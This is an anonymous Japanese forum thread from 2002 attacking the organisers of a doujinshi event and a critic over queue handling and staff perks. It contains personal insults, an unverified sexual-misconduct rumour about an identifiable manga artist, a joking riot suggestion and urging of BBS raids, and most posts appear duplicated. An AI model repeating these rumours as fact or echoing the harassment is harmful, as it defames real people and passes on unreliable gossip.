にもかかわらずM崎擁護の意見がひとつとしてみられないのはすげぇよなｗ
だれかM崎の自称「総括」とやらを「きちんと」正当化してあげられる香具師は
いないのか？まあいなくても構わないんだけどさ。
にもかかわらずM崎擁護の意見がひとつとしてみられないのはすげぇよなｗ
だれかM崎の自称「総括」とやらを「きちんと」正当化してあげられる香具師は
いないのか？まあいなくても構わないんだけどさ。
262 ：名無しさん＠どーでもいいことだが。：02/11/21 00:45 ID:glMh61FJ
ハトコミをあんな風に総括できる方に勝てるわけがない（ｗ
263 ：さんざんがいしゅつだが：02/11/21 00:54 ID:uXAJF1P2
てゆーか「総括」になってない罠。
264 ：名無しさん＠どーでもいいことだが。：02/11/21 01:01 ID:EdQ0Ecfs
いや、ほら総括って考えの合わないﾔｼを粛清することだからさｗ
・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・連合赤軍ではな
・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・連合赤軍ではな
265 ：名無しさん＠どーでもいいことだが。：02/11/21 01:04 ID:7QUfatpl
>>258 スレ違いだけど北1すごいことになってるよね。驚いた。
待機させてる場所のうちの数列分が完全に道路工事でえぐられてたからね。
まあそれはおいておいて。
>>257 サンシャインではちゃんと徹夜対策してきたのにね。
突然ハトコミにするとコミケと比較して「コミケだってああなんだから」で逃げる馬鹿に萎え。
893や暴走族じゃないというのも同意。
ある程度の人員さえ確保できれば、収拾をつけられないハズがない。
基本的に俺らはここでは態度でかいけど別に外では暴れないやつらばっかでしょ（笑）アヒャヒャ
朝になってスタッフ集めてる時点で完全にナメてるし、徹夜対策をする気がなかったと
言われてもしょうがないんじゃないのかね？準備不足でしょ。
三崎は論点ずらしてて話にならんな。
待機させてる場所のうちの数列分が完全に道路工事でえぐられてたからね。
まあそれはおいておいて。
>>257 サンシャインではちゃんと徹夜対策してきたのにね。
突然ハトコミにするとコミケと比較して「コミケだってああなんだから」で逃げる馬鹿に萎え。
893や暴走族じゃないというのも同意。
ある程度の人員さえ確保できれば、収拾をつけられないハズがない。
基本的に俺らはここでは態度でかいけど別に外では暴れないやつらばっかでしょ（笑）アヒャヒャ
朝になってスタッフ集めてる時点で完全にナメてるし、徹夜対策をする気がなかったと
言われてもしょうがないんじゃないのかね？準備不足でしょ。
三崎は論点ずらしてて話にならんな。
266 ：名無しさん＠どーでもいいことだが。：02/11/21 01:29 ID:uXAJF1P2
＞そして、現在の風潮が進むと、「徹夜ペナルティを行わない即売会」＝
＞「悪い即売会」ということになり、そのレッテル張りを逃れようと、ノウハウも
＞能力もないのに、「徹夜ペナルティ」を強行して、事故が発生してしまうのを
＞私は危惧します。
そんなノウハウや能力のない即売会は、大手の割合をこっそり減らせば
いいんじゃねーの？
あと、最後の２行で「お前らクズどもが何をほざこうがムダ。消えろｗ」なんて
言っちゃったのは余計だったね～。
え？そんなこと書いてないだろって？ ちっちっ、苦情応対用語ではそういう
意味なのよｗ M崎先生がそんなこと知らないで書いたとも思えないしね。
＞「悪い即売会」ということになり、そのレッテル張りを逃れようと、ノウハウも
＞能力もないのに、「徹夜ペナルティ」を強行して、事故が発生してしまうのを
＞私は危惧します。
そんなノウハウや能力のない即売会は、大手の割合をこっそり減らせば
いいんじゃねーの？
あと、最後の２行で「お前らクズどもが何をほざこうがムダ。消えろｗ」なんて
言っちゃったのは余計だったね～。
え？そんなこと書いてないだろって？ ちっちっ、苦情応対用語ではそういう
意味なのよｗ M崎先生がそんなこと知らないで書いたとも思えないしね。
267 ：名無しさん＠どーでもいいことだが。：02/11/21 01:34 ID:cJDLFOQ8
イベントと言うのは「安全に開催できて良かった」じゃなくて
「安全に開催できて当たり前」
と言うのを常に頭に入れて置くべきだと思う。
それに同人即売会は何処も一緒じゃなくて会場ごとに
事情が異なるんだからそれぞれに対応した運営を
していくべきだと思われ。
そこらへんを三崎たんは理解できずかつ文句も言えないから
一部の大手サークルに責任をなすりつけると言うチキンな言動に
走ったと。
「安全に開催できて当たり前」
と言うのを常に頭に入れて置くべきだと思う。
それに同人即売会は何処も一緒じゃなくて会場ごとに
事情が異なるんだからそれぞれに対応した運営を
していくべきだと思われ。
そこらへんを三崎たんは理解できずかつ文句も言えないから
一部の大手サークルに責任をなすりつけると言うチキンな言動に
走ったと。
268 ：名無しさん＠どーでもいいことだが。：02/11/21 01:36 ID:glMh61FJ
美味しいお菓子も取り置きして貰ってるしな（ｗ
269 ：名無しさん＠どーでもいいことだが。：02/11/21 01:44 ID:cJDLFOQ8
＞「徹夜ペナルティを行わない即売会」＝「悪い即売会」
むしろそういう風潮はどんどん進めるべきだと思うよ、
特に市街中心部の会場で行う即売会に関しては。
少なくとも正直者が馬鹿を見るようなイベントを
連発しちゃいかんと思う。
むしろそういう風潮はどんどん進めるべきだと思うよ、
特に市街中心部の会場で行う即売会に関しては。
少なくとも正直者が馬鹿を見るようなイベントを
連発しちゃいかんと思う。
270 ：名無しさん＠どーでもいいことだが。：02/11/21 01:55 ID:cJDLFOQ8
あと、書店卸しや通販を行わない大手サークルに一言
まあ、「会社の縛り」とか「お祭りだから」とか
いろいろ言ってる様ですが
「本 当 は 広 く 行 き 渡 る こ と で 作 家 と し て
価 値 が 下 が る の を 恐 れ て ま せ ん か ？ 」
かってのエアマックスしかりGショックしかりレア感を煽ったブームって
広く行き渡ると途端に冷めるもんな・・・。
まあ、「会社の縛り」とか「お祭りだから」とか
いろいろ言ってる様ですが
「本 当 は 広 く 行 き 渡 る こ と で 作 家 と し て
価 値 が 下 が る の を 恐 れ て ま せ ん か ？ 」
かってのエアマックスしかりGショックしかりレア感を煽ったブームって
広く行き渡ると途端に冷めるもんな・・・。
271 ：名無しさん＠どーでもいいことだが。：02/11/21 02:03 ID:F/04qfZa
>>270
まぁ、弁護する訳ではないが
個人で在庫を抱える苦労を
少しは考えてあげてもいいのでは？
自分は昔、エロ漫画を多く扱う書店の卸にいた事があるので
在庫を抱える苦労は良く解る（w
あと原えりすんがタイムリーなネタを振ってるよん
まぁ、弁護する訳ではないが
個人で在庫を抱える苦労を
少しは考えてあげてもいいのでは？
自分は昔、エロ漫画を多く扱う書店の卸にいた事があるので
在庫を抱える苦労は良く解る（w
あと原えりすんがタイムリーなネタを振ってるよん
272 ：名無しさん＠どーでもいいことだが。：02/11/21 02:13 ID:BLIjDtTg
デブオタのＡＡをそのまんま３Ｄにしたような風体＞横田
つかこんなのが大金儲けてる同人って…
レベル上げないとダメだな
買い手も、作り手も。
つかこんなのが大金儲けてる同人って…
レベル上げないとダメだな
買い手も、作り手も。
273 ：名無しさん＠どーでもいいことだが。：02/11/21 02:20 ID:dX8Vbs1+
今回、ｽﾀｰﾌの取り置きの数がハンパじゃなかったのは、
そういう見返りを用意しないと、兵隊が確保出来なかったからだって（ｗ。
兵隊不足は深刻で、当日一般参加で並んでいたｽﾀｰﾌ経験者を
その場で列から引っこ抜いて召集したそうな。
もう主催者、アタマ悪過ぎ。即売会を完全にナめてるよ。
そういう見返りを用意しないと、兵隊が確保出来なかったからだって（ｗ。
兵隊不足は深刻で、当日一般参加で並んでいたｽﾀｰﾌ経験者を
その場で列から引っこ抜いて召集したそうな。
もう主催者、アタマ悪過ぎ。即売会を完全にナめてるよ。
274 ：名無しさん＠どーでもいいことだが。：02/11/21 02:44 ID:57ExJ9pM
で、ここで散々言われ続けてきた、
「寒い中、長時間並んでも殆どめぼしい物が買えなかった一般参加者の悲哀」
については一言もナシですかぃ？＞三崎ﾀﾝ
欲しいサークルのブツが全て手に入るイベントなんざ無理なのは判ってるが、
今回は明らかに主催者側の不手際で、みすみす買えなかった（＝場内に入れなかった）
場面が多かった訳だしな。
「あの場合は仕方がなかった、もう諦めろ」とでも言いたいんですか？
それと主催者側の収支に関するツッコミに対しての反論はどうしたよ。
「寒い中、長時間並んでも殆どめぼしい物が買えなかった一般参加者の悲哀」
については一言もナシですかぃ？＞三崎ﾀﾝ
欲しいサークルのブツが全て手に入るイベントなんざ無理なのは判ってるが、
今回は明らかに主催者側の不手際で、みすみす買えなかった（＝場内に入れなかった）
場面が多かった訳だしな。
「あの場合は仕方がなかった、もう諦めろ」とでも言いたいんですか？
それと主催者側の収支に関するツッコミに対しての反論はどうしたよ。
275 ：名無しさん＠どーでもいいことだが。：02/11/21 03:09 ID:dX8Vbs1+
そりゃ特別ゲストチケ貰っておいてハトコミ批判は出来ないわなぁ（ｗ。
取材と称してチケで入場、お気に入りｻｸｰﾙ買い漁り、協賛ｻｸｰﾙは既に
取り置きで確保済みでウハウハの厚遇を受けては、そうおいそれと悪いこたぁ
書けないよねん♪
まぁ今回のツケは自らの評判を貶めることによって払ってくださいな（ｗ＞三崎タン。
公平さを欠いた評論はクズ以下です。エセ評論家などとっとと廃業しろ、ヴァカめ。
取材と称してチケで入場、お気に入りｻｸｰﾙ買い漁り、協賛ｻｸｰﾙは既に
取り置きで確保済みでウハウハの厚遇を受けては、そうおいそれと悪いこたぁ
書けないよねん♪
まぁ今回のツケは自らの評判を貶めることによって払ってくださいな（ｗ＞三崎タン。
公平さを欠いた評論はクズ以下です。エセ評論家などとっとと廃業しろ、ヴァカめ。
276 ：名無しさん＠どーでもいいことだが。：02/11/21 03:18 ID:oy4EX3Ie
まあすべてを知ってるヤツはこのスレ見て笑ってるだけなわけだが
277 ：名無しさん＠どーでもいいことだが。：02/11/21 03:22 ID:oy4EX3Ie
最後に少しだけ煽っておくか
当日スタッフは終了後、何をもらいましたか？
その後打ち上げがありましたが、解散後何があったか知っていますか？
上の一行、分かるひとなら分かるよね？でも誰も書いてないのは何故？
全貌さらされていないってことだよね？
つまりはそういうこと。身内で深く書いてるやつなんて誰ひとりいないってだけ
当日スタッフは終了後、何をもらいましたか？
その後打ち上げがありましたが、解散後何があったか知っていますか？
上の一行、分かるひとなら分かるよね？でも誰も書いてないのは何故？
全貌さらされていないってことだよね？
つまりはそういうこと。身内で深く書いてるやつなんて誰ひとりいないってだけ
278 ： ：02/11/21 07:58 ID:VadA33Qc
ようするに、実態はもっとクソってことですね？
279 ：名無しさん＠どーでもいいことだが。：02/11/21 09:08 ID:6iX1bJ8M
そりゃこの間のコミケの拡大集会で
ハトコミスタッフの一部が
叩き過ぎとかほざいてたもんな。
スタッフが数少ない徹夜や見内に甘くして
数多い一般やサークルに対してそういう裏切りに近い行為をして
それで言う事聞いてくれなんて、俺でも嫌だと思うよ。
自分で自分だけの首絞めるなら勝手にやってろだが
普通のスタッフや一般・サークルまで巻き込むなっての。
本気で次の冬が怖い・・・
ハトコミスタッフの一部が
叩き過ぎとかほざいてたもんな。
スタッフが数少ない徹夜や見内に甘くして
数多い一般やサークルに対してそういう裏切りに近い行為をして
それで言う事聞いてくれなんて、俺でも嫌だと思うよ。
自分で自分だけの首絞めるなら勝手にやってろだが
普通のスタッフや一般・サークルまで巻き込むなっての。
本気で次の冬が怖い・・・
280 ： ：02/11/21 09:20 ID:VadA33Qc
まぁ、今回はコミケに深く関わってる方から、事実上の徹夜組への
敗北宣言が出たわけで、それを考えればさらに多くの同志が
集まるコミケでペナルティがある可能性はないですからね。
それから目の前のシャッターが開かないのもムカついてたんですよ。
今回違うシャッターが開いたら暴動起こしちゃおうかな？
敗北宣言が出たわけで、それを考えればさらに多くの同志が
集まるコミケでペナルティがある可能性はないですからね。
それから目の前のシャッターが開かないのもムカついてたんですよ。
今回違うシャッターが開いたら暴動起こしちゃおうかな？
281 ：名無しさん＠どーでもいいことだが。：02/11/21 10:17 ID:s5yx2dQ7
>>270
そりゃ違うだろ、このイベントがハトコミとはいえ、コミケットマニュアルの
理念部分を熟読することをおすすめする。
>>280
止めはしないよ。それが一般なりサークルなりの回答だったらスタッフには
こたえてもらわなきゃならんだろうし。
そりゃ違うだろ、このイベントがハトコミとはいえ、コミケットマニュアルの
理念部分を熟読することをおすすめする。
>>280
止めはしないよ。それが一般なりサークルなりの回答だったらスタッフには
こたえてもらわなきゃならんだろうし。
282 ：名無しさん＠どーでもいいことだが：02/11/21 11:36 ID:JoA9gn/d
じゃぁ、おまいらはがんがって冬コミ徹夜してください。
ペナ貰っても「ハトコミが…」って言い張ってください。
シャッター壊して特攻してください。
「ハトコミが…」って言い張ってください。
個人のナリを否定してたら練りあんもＹ本和枝も買えねーだろｗ
ペナ貰っても「ハトコミが…」って言い張ってください。
シャッター壊して特攻してください。
「ハトコミが…」って言い張ってください。
個人のナリを否定してたら練りあんもＹ本和枝も買えねーだろｗ
283 ：名無しさん＠どーでもいいことだが。：02/11/21 11:41 ID:RPMkG+GR
アレを信じてるとしたら…本気で、三崎のレベルの低さが
知れようというものだ…
…マジで？ カンチガイ擁護のソースくれくれ。
知れようというものだ…
…マジで？ カンチガイ擁護のソースくれくれ。
285 ：名無しさん＠どーでもいいことだが。：02/11/21 12:33 ID:fLfZ4p2E
M崎の総括はただの関係者の言い訳にしか見えない。
実際そうなんだろうけど
実際そうなんだろうけど
286 ：名無しさん＠どーでもいいことだが。：02/11/21 12:57 ID:PRzM7Dan
ハトコミのノーペナルティとM崎の対徹夜敗北宣言は、今後に火種を残すだろうな。
モラルハザードとはまさにこのこと。
今後徹夜に対して厳しい態度で臨まなければ、いつ暴発するかわからんぞ。
モラルハザードとはまさにこのこと。
今後徹夜に対して厳しい態度で臨まなければ、いつ暴発するかわからんぞ。
287 ：名無しさん＠どーでもいいことだが。：02/11/21 13:50 ID:RPMkG+GR
＞Mナベ×I東のデマ
少なくともI東が諫めた、というのは無いらしい。
ただ、Mナベに関しては「そういう噂は立った」と、当時関わっていた
編集・ライターの間では有名な話だったとか。
実際は気に入った女の子にちょっかい出して失敗したのに
尾ひれ背ひれがくっついて今に伝わってるというのが真相のようだ。
少なくともI東が諫めた、というのは無いらしい。
ただ、Mナベに関しては「そういう噂は立った」と、当時関わっていた
編集・ライターの間では有名な話だったとか。
実際は気に入った女の子にちょっかい出して失敗したのに
尾ひれ背ひれがくっついて今に伝わってるというのが真相のようだ。
288 ：名無しさん＠どーでもいいことだが。：02/11/21 14:37 ID:EMi5gNZu
>少なくともI東が諫めた、というのは無いらしい。
つーか、Ｉ東が諌めたって時点で嘘だってわかるよな。
他人に説教するほどご立派な人間かと・・・・
つーか、Ｉ東が諌めたって時点で嘘だってわかるよな。
他人に説教するほどご立派な人間かと・・・・
289 ：名無しさん＠どーでもいいことだが。：02/11/21 15:28 ID:ZjONXyj9
取りおきたくさんあったのは事実だけどみんながもらってたわけじゃない。
上が腐ってるだけなのでで下っぱをいじめないでやってください。
表に出て正当化する三崎、主導したYQNなどが悪いんです。
スタッフ集会でも知り合いが言ってたよ・・・
上が腐ってるだけなのでで下っぱをいじめないでやってください。
表に出て正当化する三崎、主導したYQNなどが悪いんです。
スタッフ集会でも知り合いが言ってたよ・・・
290 ：名無しさん＠どーでもいいことだが。：02/11/21 16:05 ID:H8U2mi6s
>289の友達
まず、あんなあからさまに怪しいｲﾍﾞﾝﾄを手伝うな。
理由あって加勢したなら、あとでぐちぐち言うんじゃねえ。
もしくは素敵なﾘｰｸをせよ♪
まず、あんなあからさまに怪しいｲﾍﾞﾝﾄを手伝うな。
理由あって加勢したなら、あとでぐちぐち言うんじゃねえ。
もしくは素敵なﾘｰｸをせよ♪
291 ：名無しさん＠どーでもいいことだが。：02/11/21 16:12 ID:YGjf1t2g
主催者のモラルなんて言ってる時点でちゃんちゃらおかしい
この板の住人がそんな偉そうこと言えるわけないだろうがｗ
この板の住人がそんな偉そうこと言えるわけないだろうがｗ
292 ：名無しさん＠どーでもいいことだが。：02/11/21 17:02 ID:H8U2mi6s
>291
煽りにしては撃ちが浅い。無効。
開始位置に戻ってもういちど。
煽りにしては撃ちが浅い。無効。
開始位置に戻ってもういちど。
293 ：名無しさん＠どーでもいいことだが。：02/11/21 21:03 ID:wSDvAi83
最初から中に居た漏れとしてはすげー面白いイベントだった。
後日談なんかも最高（w
さ、続けてくれたまえ。
後日談なんかも最高（w
さ、続けてくれたまえ。
294 ：名無しさん＠どーでもいいことだが。：02/11/21 22:10 ID:dvK4sWL5
295 ：名無しさん＠どーでもいいことだが。：02/11/21 22:15 ID:L0OAHsCQ
【大会実施要項】
■大会名：「YOKOTA BOM-BA-YE 2003～男性向けvs女性向けvs丹下拳闘倶楽部全面対抗戦完全決着～」
■日時：2002年12月31日（火）15:00開場 17:00試合開始
■会場：さいたまスーパーアリーナ（35,000人収容）
■主催：(株)剣聖覇王商会
■運営制作：（株）ドリームステージエンターテインメント
■協力：(株)さいたまアリーナ
【チケット情報】
■入場料金/全席指定・消費税込
VIP（ビップ）：100,000円＜特典：専用入場ゲート・グッズ付＞
RRS（ロイヤルリングサイド）：30,000円
スタンドS：15,000円
スタンドA：7,000円
■券売スケジュール/11月30日（土）特別先行予約 12月1日（日）一斉発売
【放送スケジュール】
■放送日：2002年12月31日（火）21:00～23:24 JNN28局ネット
■事前番組スケジュール
11月23日（土）16:30～17:24
12月15日（日）予定
12月27日（金）23:45～25:00
12月31日（火）15:00～17:40
■大会名：「YOKOTA BOM-BA-YE 2003～男性向けvs女性向けvs丹下拳闘倶楽部全面対抗戦完全決着～」
■日時：2002年12月31日（火）15:00開場 17:00試合開始
■会場：さいたまスーパーアリーナ（35,000人収容）
■主催：(株)剣聖覇王商会
■運営制作：（株）ドリームステージエンターテインメント
■協力：(株)さいたまアリーナ
【チケット情報】
■入場料金/全席指定・消費税込
VIP（ビップ）：100,000円＜特典：専用入場ゲート・グッズ付＞
RRS（ロイヤルリングサイド）：30,000円
スタンドS：15,000円
スタンドA：7,000円
■券売スケジュール/11月30日（土）特別先行予約 12月1日（日）一斉発売
【放送スケジュール】
■放送日：2002年12月31日（火）21:00～23:24 JNN28局ネット
■事前番組スケジュール
11月23日（土）16:30～17:24
12月15日（日）予定
12月27日（金）23:45～25:00
12月31日（火）15:00～17:40
296 ：名無しさん＠どーでもいいことだが。：02/11/21 22:45 ID:WWBM925G
>295
前から言ってやろうと思っていた。
おもしろくないうえにとってもウザイ。
前から言ってやろうと思っていた。
おもしろくないうえにとってもウザイ。
297 ：名無しさん＠どーでもいいことだが。：02/11/21 23:02 ID:9pFoPywb
原えりすん氏のあれ読んだけどかなり的を得てるよな。
問題は一般参加者がどうやってアクションを取るか
なんだが・・・。
>>284
ソースはこちら→www.st.rim.or.jp/~nmisaki/diary/200206_1.html
>◆「電脳探偵のマル秘レポート 赤ズキンを狙う狼」(探偵ファイルより)。
> 某まんが家が新人賞の審査員の立場を利用して投稿してくる女の子を食っちゃう話。
>「某」にはなっているけど、完全に誰だか特定できる。
>この人、喧嘩っ早いから、こんな事書いちゃって知らねーぞー。
だって(W。
問題は一般参加者がどうやってアクションを取るか
なんだが・・・。
>>284
ソースはこちら→www.st.rim.or.jp/~nmisaki/diary/200206_1.html
>◆「電脳探偵のマル秘レポート 赤ズキンを狙う狼」(探偵ファイルより)。
> 某まんが家が新人賞の審査員の立場を利用して投稿してくる女の子を食っちゃう話。
>「某」にはなっているけど、完全に誰だか特定できる。
>この人、喧嘩っ早いから、こんな事書いちゃって知らねーぞー。
だって(W。
サンクス！
>「某」にはなっているけど、完全に誰だか特定できる。
>この人、喧嘩っ早いから、こんな事書いちゃって知らねーぞー。
こ、こいつ…素人かよ…評論家というよりもプーのライターといったほうが
実情に近いことは知っていたが…
こんなコメントなぞ中学生以下だ。ついでに童貞臭もするな。
こんなバカどもに取り入るのなんか、まったく簡単だよな、
ああ、是空やらがのさばるわけだよ。 ダメだこの世界馬鹿ばっか！
>「某」にはなっているけど、完全に誰だか特定できる。
>この人、喧嘩っ早いから、こんな事書いちゃって知らねーぞー。
こ、こいつ…素人かよ…評論家というよりもプーのライターといったほうが
実情に近いことは知っていたが…
こんなコメントなぞ中学生以下だ。ついでに童貞臭もするな。
こんなバカどもに取り入るのなんか、まったく簡単だよな、
ああ、是空やらがのさばるわけだよ。 ダメだこの世界馬鹿ばっか！
299 ：名無しさん＠どーでもいいことだが。：02/11/22 01:02 ID:ygGUupuJ
とりあえずスタンフォードの先生に会って嬉しかったのか相手の肩書き
繰り返すのやめれと思ったｗ＞三崎
繰り返すのやめれと思ったｗ＞三崎
300 ：名無しさん＠どーでもいいことだが。：02/11/22 01:46 ID:2pykCbHs
>>284
そりゃ何も知らない一般世間のひとから見たら
「プロデビューもしてないエロ漫画家のエロ本に列をなす
世間から外れた集団」だからなあ。この業界。
（実際マンガやゲームの本とか出してる出版社のひとでも
感想は似たようなモンだった）
ちゃん様だって、一般世間的にはエロゲーム作者としか
見られてないわけで。
別に323嫌いじゃないけど、そんなもんです。
そりゃ何も知らない一般世間のひとから見たら
「プロデビューもしてないエロ漫画家のエロ本に列をなす
世間から外れた集団」だからなあ。この業界。
（実際マンガやゲームの本とか出してる出版社のひとでも
感想は似たようなモンだった）
ちゃん様だって、一般世間的にはエロゲーム作者としか
見られてないわけで。
別に323嫌いじゃないけど、そんなもんです。
301 ：名無しさん＠どーでもいいことだが。：02/11/22 02:42 ID:SUr57Rar
>299
つまりはそういう人なんでしょう。
程度が判ります。
つまりはそういう人なんでしょう。
程度が判ります。
302 ：名無しさん＠どーでもいいことだが。：02/11/22 03:10 ID:7dBfJ7rc
スタンフォードのナンタラ先生は実際に有能なひとなのかもしれんが、
あの書きかたは自分を貶めてるだけということに岬は気づかんのかね（ｗ
・・・スレ違いでした。
あの書きかたは自分を貶めてるだけということに岬は気づかんのかね（ｗ
・・・スレ違いでした。
303 ：名無しさん＠どーでもいいことだが。：02/11/22 06:29 ID:agjej8LS
サトミ～の、
>あの文章でわかっていただけなかったのは残念なのですが、
（中略）
>ちょっと不適切だったでしょうか。
って言い訳、スタンフォードの先生の仲介者＝山形浩生が、
自身が批評されたときに書いていた言い草にｿｸｰﾘだな。
ちなみに、その山形のレスポンスに対する批評者の言は、
「山形さんって、普段は人の悪口に近いような批評を行っているのに、
自分が批評されるとなると、てんで弱いんですね」
だったと思う。
これって、そっくりそのまま、サトミ～にあてはまりそうな罠・・・
>あの文章でわかっていただけなかったのは残念なのですが、
（中略）
>ちょっと不適切だったでしょうか。
って言い訳、スタンフォードの先生の仲介者＝山形浩生が、
自身が批評されたときに書いていた言い草にｿｸｰﾘだな。
ちなみに、その山形のレスポンスに対する批評者の言は、
「山形さんって、普段は人の悪口に近いような批評を行っているのに、
自分が批評されるとなると、てんで弱いんですね」
だったと思う。
これって、そっくりそのまま、サトミ～にあてはまりそうな罠・・・
304 ：名無しさん＠どーでもいいことだが。：02/11/22 09:21 ID:KDcWXfmz
ホントに同人界の未来に思いをはせる方ならば、
自分がハトコミにおいてどのような便宜を受けたか明らかにし、
ハトコミの首謀者(決して主催者ではない)と一般客が直接対話をできるように
座を持つくらいの努力はして欲しいですねえ、Ｍ崎さん。
今のあなた、ただ単にハトコミのちょうちん持ちライターに過ぎませんや。
あんなたいそうな名前のウェブサイト持つの、やめましょうよ。
どうしてそこまで首謀者とサークルの事情に思いをはせることができるのに、
我々下々の悲痛な声を聞き取ることが出来ないのですか？あなたは。
自分がハトコミにおいてどのような便宜を受けたか明らかにし、
ハトコミの首謀者(決して主催者ではない)と一般客が直接対話をできるように
座を持つくらいの努力はして欲しいですねえ、Ｍ崎さん。
今のあなた、ただ単にハトコミのちょうちん持ちライターに過ぎませんや。
あんなたいそうな名前のウェブサイト持つの、やめましょうよ。
どうしてそこまで首謀者とサークルの事情に思いをはせることができるのに、
我々下々の悲痛な声を聞き取ることが出来ないのですか？あなたは。
305 ：名無しさん＠どーでもいいことだが。：02/11/22 10:04 ID:Oj+oSbiZ
306 ：名無しさん＠どーでもいいことだが。：02/11/22 10:21 ID:8nfLx6Td
>>305
その考え方は筋は通っているだけに厄介だねえ。
その考え方は筋は通っているだけに厄介だねえ。
307 ：名無しさん＠どーでもいいことだが。：02/11/22 10:31 ID:LTDBNLs7
ということは横田と是空は現役パリパリ、栄えある未来の同人文化の担い手だと。
……やべえボケになってねえ。
……やべえボケになってねえ。
308 ：名無しさん＠どーでもいいことだが。：02/11/22 13:07 ID:VrSWDw80
309 ：名無しさん＠どーでもいいことだが。：02/11/22 13:59 ID:KCgSJtwj
みやむーのサイトの掲示板において、ＺＱＮに直接質問を
ぶつけるとすると、何かの問題になる可能性はあるでしょうか。
ないのであれば、
・ハトコミについてどう思うか
・主催者の一人と目されていることについてどう思うか、
また、自身が主催者でないならば誰が主催者なのか
・少なくともこの二点については質問してみようと思うのですが…
本人のサイトのＢＢＳが閉鎖されてなければこんなことをする必要も
ないのですが
ぶつけるとすると、何かの問題になる可能性はあるでしょうか。
ないのであれば、
・ハトコミについてどう思うか
・主催者の一人と目されていることについてどう思うか、
また、自身が主催者でないならば誰が主催者なのか
・少なくともこの二点については質問してみようと思うのですが…
本人のサイトのＢＢＳが閉鎖されてなければこんなことをする必要も
ないのですが
310 ：名無しさん＠どーでもいいことだが。：02/11/22 14:21 ID:hCkp8ADL
突撃厨、がんがれ
俺はさすがにそこまではやらんが
止めはしないぞｗ
ってかBBSだから突撃するのはちょっとどうかと思うが
まずハトコミかZQN宛にメールしてみて返事がないことを確認したらどうだ？
俺はさすがにそこまではやらんが
止めはしないぞｗ
ってかBBSだから突撃するのはちょっとどうかと思うが
まずハトコミかZQN宛にメールしてみて返事がないことを確認したらどうだ？
311 ：名無しさん＠どーでもいいことだが。：02/11/22 17:41 ID:DgnavR1V
313 ：名無しさん＠どーでもいいことだが。：02/11/22 18:56 ID:kezJUBwy
みやむーも難儀だな。あんなDQSにつけこまれるなんて
314 ：名無しさん＠どーでもいいことだが。：02/11/22 20:12 ID:KWwnTNv7
Ｍ崎は一般参加者（読み手）の存在無しに同人誌活動が存続できると思ってるのかな？
受け手の居ない表現活動はオ○ニーと一緒と思いますが（Ｗ。
受け手の居ない表現活動はオ○ニーと一緒と思いますが（Ｗ。
315 ：名無しさん＠どーでもいいことだが。：02/11/22 20:24 ID:181T+yxJ
過去レスにあったけど
描き手様の読んで欲しい規準では一般海鮮は下の方だったよ
一番読んで欲しいのは同好の描き手だそうだ
ようは一般はいらないんだろ？カタログ買ってろくに本を手に入らずぶーたれろと
描き手様の読んで欲しい規準では一般海鮮は下の方だったよ
一番読んで欲しいのは同好の描き手だそうだ
ようは一般はいらないんだろ？カタログ買ってろくに本を手に入らずぶーたれろと
316 ：名無しさん＠どーでもいいことだが。：02/11/22 20:59 ID:laSFfKPW
一般の反応があってこそ、表現方法が研ぎ澄まされていくってのに、
身内の傷の舐め合いのまんまじゃ、時代に逆行するじゃねえか。
よもや、M崎が同人誌文化を衰退させるようなことをのたまうとはな…
肉筆回覧同人誌の時代にでも戻りたいのか？
身内の傷の舐め合いのまんまじゃ、時代に逆行するじゃねえか。
よもや、M崎が同人誌文化を衰退させるようなことをのたまうとはな…
肉筆回覧同人誌の時代にでも戻りたいのか？
317 ：名無しさん＠どーでもいいことだが。：02/11/22 22:39 ID:Rahx3jWU
＞描き手様の読んで欲しい規準では一般海鮮は下の方だったよ
＞一番読んで欲しいのは同好の描き手だそうだ
「同人上がりは使えない」って話を良く聞くけど描き手が
そういう意識を持ってるんじゃ使えないのも当然だ罠。
一般層にまで人気の高い漫画家の殆どは編集と戦い
読者アンケートと言う集中砲火を浴びてるからなあ。
同好の描き手にしか誉めてもらいたいたくない人は
その時点で負け組み決定だと思われ。
＞一番読んで欲しいのは同好の描き手だそうだ
「同人上がりは使えない」って話を良く聞くけど描き手が
そういう意識を持ってるんじゃ使えないのも当然だ罠。
一般層にまで人気の高い漫画家の殆どは編集と戦い
読者アンケートと言う集中砲火を浴びてるからなあ。
同好の描き手にしか誉めてもらいたいたくない人は
その時点で負け組み決定だと思われ。
318 ：名無しさん＠どーでもいいことだが。：02/11/22 22:49 ID:kezJUBwy
というよりC1Iみたいに
「そこそこ有名な地位になれば顔を使って有名サークルさんとお友達♪」
ごっこがしたいだけのやつが多いんだろ。今のピコ～中手サークルには。
もちろん名誉のためにいっておくがそうでない人だっている。
でも今回のハトコミの様子見ればわかるだろう？
壁サークルなどを高速ループして本を買い占めたサークルの人（+guest)
C1Iだって「いかがなものかと思ったけどサークル参加者にはうれしいイベント」
なんていってたわけで。
本は出したいけど、ついで。作家たちとはーとふるなこみゅにけーしょんを
するためにサークルさんたちはイベントいってるやつが多いのも事実なわけで。
最近のうすっぺらい本の乱造にも伺えるね。最近は本当にペラい本しかないよ。
二年ぐらい前は一冊あたり持っと厚かったよ。
イベントが多くなって「とりあえず出たい。他のサークルの本も買えるし会えるし。
ああでも新刊も作らないと」っていうサークル多いから今のペラ本乱造につながってるん
じゃないの。
でもさ、ひとつだけ気をつけないと。
そういう考えのピコどもは全サークルの中で占める割合が多いということ
（＝多数の意見になること）
そして多くの疥癬はそこらのサークルは歯牙にもかけてないことさ（激藁
「そこそこ有名な地位になれば顔を使って有名サークルさんとお友達♪」
ごっこがしたいだけのやつが多いんだろ。今のピコ～中手サークルには。
もちろん名誉のためにいっておくがそうでない人だっている。
でも今回のハトコミの様子見ればわかるだろう？
壁サークルなどを高速ループして本を買い占めたサークルの人（+guest)
C1Iだって「いかがなものかと思ったけどサークル参加者にはうれしいイベント」
なんていってたわけで。
本は出したいけど、ついで。作家たちとはーとふるなこみゅにけーしょんを
するためにサークルさんたちはイベントいってるやつが多いのも事実なわけで。
最近のうすっぺらい本の乱造にも伺えるね。最近は本当にペラい本しかないよ。
二年ぐらい前は一冊あたり持っと厚かったよ。
イベントが多くなって「とりあえず出たい。他のサークルの本も買えるし会えるし。
ああでも新刊も作らないと」っていうサークル多いから今のペラ本乱造につながってるん
じゃないの。
でもさ、ひとつだけ気をつけないと。
そういう考えのピコどもは全サークルの中で占める割合が多いということ
（＝多数の意見になること）
そして多くの疥癬はそこらのサークルは歯牙にもかけてないことさ（激藁
319 ：名無しさん＠どーでもいいことだが。：02/11/22 23:16 ID:ULs/xl8s
>318
